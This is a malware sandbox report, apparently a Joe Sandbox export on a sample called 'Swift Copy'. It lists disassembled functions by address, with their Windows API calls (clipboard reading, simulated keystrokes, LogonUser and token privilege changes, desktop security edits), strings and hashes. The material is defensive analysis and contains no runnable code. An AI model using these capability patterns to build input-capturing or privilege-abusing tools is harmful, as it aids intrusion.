Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: a2b13c3aaf896d0cbd4ca17daeb107afdbc0e56c94f7d2ee5824b7568bd0d05b
Instruction ID: 2a26624c32a19faa042157f57823a87ad5a435a59ecc58265b462b7569599fce
Opcode Fuzzy Hash: a2b13c3aaf896d0cbd4ca17daeb107afdbc0e56c94f7d2ee5824b7568bd0d05b
Instruction Fuzzy Hash: 1EC0923E280304AFF6148B82BC4AF1077A4A34DF00F548001F709B95E3C3A228AAEA51

Function 00D8FC70 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00D8FD1F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: ee8d4f29dfae04ae5d557f7d51529eff16f6fbd0bf55479bbea64909b28a712e
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: DC310475A00109DBC718EF59D4C0969FBA6FF49300B2886A5E909CF656D731EEC1CBE0

Function 00ED22A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00ED22B1

Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 85ed8b4580444c0de48d52769cf3a628307fc9e3034303e0a097c44c11e015b3
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: BAE0E67494010EDFDB00EFB4D54969E7FB4EF04301F100165FD01E2280D6319D509A72

Non-executed Functions

Function 00E09576 Relevance: 74.1, APIs: 39, Strings: 3, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00D89BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00D89BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00E0961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00E0965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00E0969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E096C9
SendMessageW.USER32 ref: 00E096F2
GetKeyState.USER32(00000011), ref: 00E0978B
GetKeyState.USER32(00000009), ref: 00E09798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00E097AE
GetKeyState.USER32(00000010), ref: 00E097B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E097E9
SendMessageW.USER32 ref: 00E09810
SendMessageW.USER32(?,00001030,?,00E07E95), ref: 00E09918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00E0992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00E09941
SetCapture.USER32(?), ref: 00E0994A
ClientToScreen.USER32(?,?), ref: 00E099AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00E099BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00E099D6
ReleaseCapture.USER32 ref: 00E099E1
GetCursorPos.USER32(?), ref: 00E09A19
ScreenToClient.USER32(?,?), ref: 00E09A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00E09A80
SendMessageW.USER32 ref: 00E09AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00E09AEB
SendMessageW.USER32 ref: 00E09B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00E09B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00E09B4A
GetCursorPos.USER32(?), ref: 00E09B68
ScreenToClient.USER32(?,?), ref: 00E09B75
GetParent.USER32(?), ref: 00E09B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00E09BFA
SendMessageW.USER32 ref: 00E09C2B
ClientToScreen.USER32(?,?), ref: 00E09C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00E09CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00E09CDE
SendMessageW.USER32 ref: 00E09D01
ClientToScreen.USER32(?,?), ref: 00E09D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00E09D82

Part of subcall function 00D89944: GetWindowLongW.USER32(?,000000EB), ref: 00D89952

GetWindowLongW.USER32(?,000000F0), ref: 00E09E05

Strings

@GUI_DRAGID, xrefs: 00E0997D
p#, xrefs: 00E09990
F, xrefs: 00E09D07

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F$p#
API String ID: 3429851547-638943876
Opcode ID: ee6282894300014cf2a2c3b3b38177aa98e36eee744f6c3b41f8a2477debb6db
Instruction ID: 0ebe915e217ca16e6e2607140b060296bf25044b5ea74c0d90bfd6b4a7baf4ef
Opcode Fuzzy Hash: ee6282894300014cf2a2c3b3b38177aa98e36eee744f6c3b41f8a2477debb6db
Instruction Fuzzy Hash: 2842B134208201AFDB24CF24DC44EAABBE5FF89714F141619F699A72E2D732D895CF52

Function 00E04873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 00E048F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 00E04908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00E04927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 00E0494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 00E0495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 00E0497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 00E049AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 00E049D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 00E04A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00E04A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 00E04A7E
IsMenu.USER32(?), ref: 00E04A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00E04AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00E04B20
GetWindowLongW.USER32(?,000000F0), ref: 00E04B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 00E04BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 00E04C82
wsprintfW.USER32 ref: 00E04CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00E04CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 00E04CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00E04D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00E04D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 00E04D5A

Strings

%d/%02d/%02d, xrefs: 00E04CA8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: 7fe6209d75ac17420d33b14347daa88be0a6c8ab7c98dc85090050c1497edf9d
Instruction ID: 5c4aaee6e544ad5789e746dbf16eadaf916a140b261abebdd8c1ee72493920fb
Opcode Fuzzy Hash: 7fe6209d75ac17420d33b14347daa88be0a6c8ab7c98dc85090050c1497edf9d
Instruction Fuzzy Hash: 761200F1600205AFEB259F24CD49FAE7BB8EF85704F105229F615FA1E0DB749A81CB60

Function 00D8F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00D8F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00DCF474
IsIconic.USER32(00000000), ref: 00DCF47D
ShowWindow.USER32(00000000,00000009), ref: 00DCF48A
SetForegroundWindow.USER32(00000000), ref: 00DCF494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00DCF4AA
GetCurrentThreadId.KERNEL32 ref: 00DCF4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00DCF4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 00DCF4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00DCF4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00DCF4DE
SetForegroundWindow.USER32(00000000), ref: 00DCF4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 00DCF4F6
keybd_event.USER32(00000012,00000000), ref: 00DCF501
MapVirtualKeyW.USER32(00000012,00000000), ref: 00DCF50B
keybd_event.USER32(00000012,00000000), ref: 00DCF510
MapVirtualKeyW.USER32(00000012,00000000), ref: 00DCF519
keybd_event.USER32(00000012,00000000), ref: 00DCF51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00DCF528
keybd_event.USER32(00000012,00000000), ref: 00DCF52D
SetForegroundWindow.USER32(00000000), ref: 00DCF530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 00DCF557

Strings

Shell_TrayWnd, xrefs: 00DCF46F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 4fd8ef18237793e6bd8a0ade4893e0f9b021d516ee4459055bcf7ada4364814d
Instruction ID: f551485c64166c1ed86fb07bdfe64414333f816b27d2a2af46cc12e94bbc858d
Opcode Fuzzy Hash: 4fd8ef18237793e6bd8a0ade4893e0f9b021d516ee4459055bcf7ada4364814d
Instruction Fuzzy Hash: C1316571A402187FEB206BB69C49FBF7E6DEB44B50F24016AF601F71D1C6B29D40AA71

Function 00DD1201 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00DD16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00DD170D
Part of subcall function 00DD16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00DD173A
Part of subcall function 00DD16C3: GetLastError.KERNEL32 ref: 00DD174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00DD1286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00DD12A8
CloseHandle.KERNEL32(?), ref: 00DD12B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00DD12D1
GetProcessWindowStation.USER32 ref: 00DD12EA
SetProcessWindowStation.USER32(00000000), ref: 00DD12F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00DD1310

Part of subcall function 00DD10BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00DD11FC), ref: 00DD10D4
Part of subcall function 00DD10BF: CloseHandle.KERNEL32(?,?,00DD11FC), ref: 00DD10E9

Strings

, xrefs: 00DD125A
winsta0, xrefs: 00DD12CC
default, xrefs: 00DD130B
Z, xrefs: 00DD1392

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0$Z
API String ID: 22674027-1808616255
Opcode ID: 7b418d6fe762cecc9d9220cce3a87295be4c459e97741a74828a0f180e8ff6fd
Instruction ID: 814d9808cc3074dde86d4c95a641df6d1c7c11652b54c2296654471fd6f049e1
Opcode Fuzzy Hash: 7b418d6fe762cecc9d9220cce3a87295be4c459e97741a74828a0f180e8ff6fd
Instruction Fuzzy Hash: C7817B75900209BFDF219FA5DC49BEE7BB9EF04704F18422AF910B62A0D7769985CB70

Function 00DD0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00DD1114
Part of subcall function 00DD10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD1120
Part of subcall function 00DD10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD112F
Part of subcall function 00DD10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD1136
Part of subcall function 00DD10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00DD114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00DD0BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00DD0C00
GetLengthSid.ADVAPI32(?), ref: 00DD0C17
GetAce.ADVAPI32(?,00000000,?), ref: 00DD0C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00DD0C6D
GetLengthSid.ADVAPI32(?), ref: 00DD0C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00DD0C8C
HeapAlloc.KERNEL32(00000000), ref: 00DD0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00DD0CB4
CopySid.ADVAPI32(00000000), ref: 00DD0CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00DD0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00DD0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00DD0D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DD0D45
HeapFree.KERNEL32(00000000), ref: 00DD0D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DD0D55
HeapFree.KERNEL32(00000000), ref: 00DD0D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DD0D65
HeapFree.KERNEL32(00000000), ref: 00DD0D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00DD0D78
HeapFree.KERNEL32(00000000), ref: 00DD0D7F

Part of subcall function 00DD1193: GetProcessHeap.KERNEL32(00000008,00DD0BB1,?,00000000,?,00DD0BB1,?), ref: 00DD11A1
Part of subcall function 00DD1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00DD0BB1,?), ref: 00DD11A8
Part of subcall function 00DD1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00DD0BB1,?), ref: 00DD11B7

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: a7f9334530995c963768f7cfa647bf5e0fc39d6a095ba25edbd3b0a21f7132e2
Instruction ID: 30358d291a78cd4a28cfb2ffd5f8e58d179efe371718531698e72ddaf5fc45e3
Opcode Fuzzy Hash: a7f9334530995c963768f7cfa647bf5e0fc39d6a095ba25edbd3b0a21f7132e2
Instruction Fuzzy Hash: 6C71487690020AAFDF109FA5DC48BEEBBBDEF45300F184616E914A7291D771AA49CB70

Function 00DEEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00E0CC08), ref: 00DEEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00DEEB37
GetClipboardData.USER32(0000000D), ref: 00DEEB43
CloseClipboard.USER32 ref: 00DEEB4F
GlobalLock.KERNEL32(00000000), ref: 00DEEB87
CloseClipboard.USER32 ref: 00DEEB91
GlobalUnlock.KERNEL32(00000000,00000000), ref: 00DEEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00DEEBC9
GetClipboardData.USER32(00000001), ref: 00DEEBD1
GlobalLock.KERNEL32(00000000), ref: 00DEEBE2
GlobalUnlock.KERNEL32(00000000,?), ref: 00DEEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00DEEC38
GetClipboardData.USER32(0000000F), ref: 00DEEC44
GlobalLock.KERNEL32(00000000), ref: 00DEEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00DEEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00DEEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00DEECD2
GlobalUnlock.KERNEL32(00000000,?,?), ref: 00DEECF3
CountClipboardFormats.USER32 ref: 00DEED14
CloseClipboard.USER32 ref: 00DEED59

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: b725ba409e2573698a37862a5713cfe8c9befac606f0977a4a9edbd856c9e062
Instruction ID: ea206b3fffdb9920621f0301a96e29569fdb36519715931a687c37f5a1173a43
Opcode Fuzzy Hash: b725ba409e2573698a37862a5713cfe8c9befac606f0977a4a9edbd856c9e062
Instruction Fuzzy Hash: 6A61E3352042419FD310EF26DC95F2AB7A4EF84704F28461DF49A972A2DB72DD49CBB2

Function 00DE698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00DE69BE
FindClose.KERNEL32(00000000), ref: 00DE6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00DE6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00DE6A75

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00DE6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00DE6ADF

Strings

%4d%02d%02d%02d%02d%02d%03d, xrefs: 00DE6B32
%03d, xrefs: 00DE6DA2
%4d, xrefs: 00DE6BB1
%4d%02d%02d%02d%02d%02d, xrefs: 00DE6B6A
%02d, xrefs: 00DE6C00, 00DE6C0A, 00DE6C5A, 00DE6CAA, 00DE6CFA, 00DE6D4A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: e3f1af4c1e32c130267b10c9d95bc9a5e2dff8d4d824b17b9072c52cf1d534a0
Instruction ID: 33607c4b15885bd3d0b1b995b1fd55c480d7b727312ed325a4f9b7aaab588d8a
Opcode Fuzzy Hash: e3f1af4c1e32c130267b10c9d95bc9a5e2dff8d4d824b17b9072c52cf1d534a0
Instruction Fuzzy Hash: F4D14F72508340AEC710EBA5C896EABB7ECEF98704F04891DF589D6191FB74DA44CB72

Function 00DE9642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00DE9663
GetFileAttributesW.KERNEL32(?), ref: 00DE96A1
SetFileAttributesW.KERNEL32(?,?), ref: 00DE96BB
FindNextFileW.KERNEL32(00000000,?), ref: 00DE96D3
FindClose.KERNEL32(00000000), ref: 00DE96DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00DE96FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00DE974A
SetCurrentDirectoryW.KERNEL32(00E36B7C), ref: 00DE9768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00DE9772
FindClose.KERNEL32(00000000), ref: 00DE977F
FindClose.KERNEL32(00000000), ref: 00DE978F

Strings

*.*, xrefs: 00DE96F5

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
